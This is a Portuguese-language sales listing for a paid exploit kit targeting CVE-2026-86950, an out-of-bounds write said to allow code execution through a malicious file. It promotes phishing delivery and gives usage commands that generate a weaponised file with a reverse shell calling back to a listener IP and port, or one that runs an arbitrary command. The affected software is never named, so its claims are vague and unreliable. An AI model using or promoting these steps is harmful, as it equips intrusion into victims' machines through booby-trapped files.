CVE-2026-86950 / EUVD-2026-88445 - RCE por Gravação Fora dos Limites no Processamento de Arquivos

Descrição

CVE-2026-86950 (CWE-787).
Gravação fora dos limites durante o parsing de um arquivo especialmente criado. A ausência de verificações de limites nos campos de tamanho/offset permite corrupção controlada do heap quando a aplicação alvo processa o arquivo.

Atacante não autenticado entrega o arquivo (e-mail, download, compartilhamento). Requer interação do usuário (abrir/processar). O código é executado com os privilégios da aplicação de parsing.

Útil para campanhas de phishing/spear-phishing de red team, acesso inicial em endpoints e execução controlada de código sem autenticação de rede.

Exploit

Download

Requisitos

• Python 3.10+
• Aplicação alvo que processa o formato de arquivo vulnerável (visualizadores comuns de documentos/imagens)
• Nenhum privilégio especial necessário do lado do atacante

Funcionalidades

• Gera um único arquivo malicioso que dispara a gravação OOB
• Corrupção controlada do heap levando à execução arbitrária de código
• Opções de payload: reverse shell, execução de comandos, loader em memória
• Pegada mínima – nenhum dropper adicional necessário
• Funciona com entrega padrão de arquivos (anexo de e-mail, download pelo navegador, compartilhamento de rede)

Instalação

Após a compra você recebe o pacote completo.
Extraia e instale as dependências:

pip install -r requirements.txt

Uso

python exploit.py [options]
  -o, --output       <file>          Output malicious file (required)
  -p, --payload      <type>          reverse | cmd | custom (default: reverse)
  -L, --lhost        <ip>            Listener IP (for reverse)
  -P, --lport        <port>          Listener port (for reverse)
  -c, --cmd          <command>       Single command to execute
  --arch             x64|x86         Target architecture (default: x64)

Exemplo (reverse shell):

python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444

Exemplo (comando único):

python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"

Entregue o arquivo gerado ao alvo. Quando aberto/processado pela aplicação vulnerável, a gravação OOB é disparada e o payload é executado.

Licença

Uso apenas para red team / testes de penetração autorizados. O uso não autorizado é ilegal.
Pacote completo disponível somente após a compra.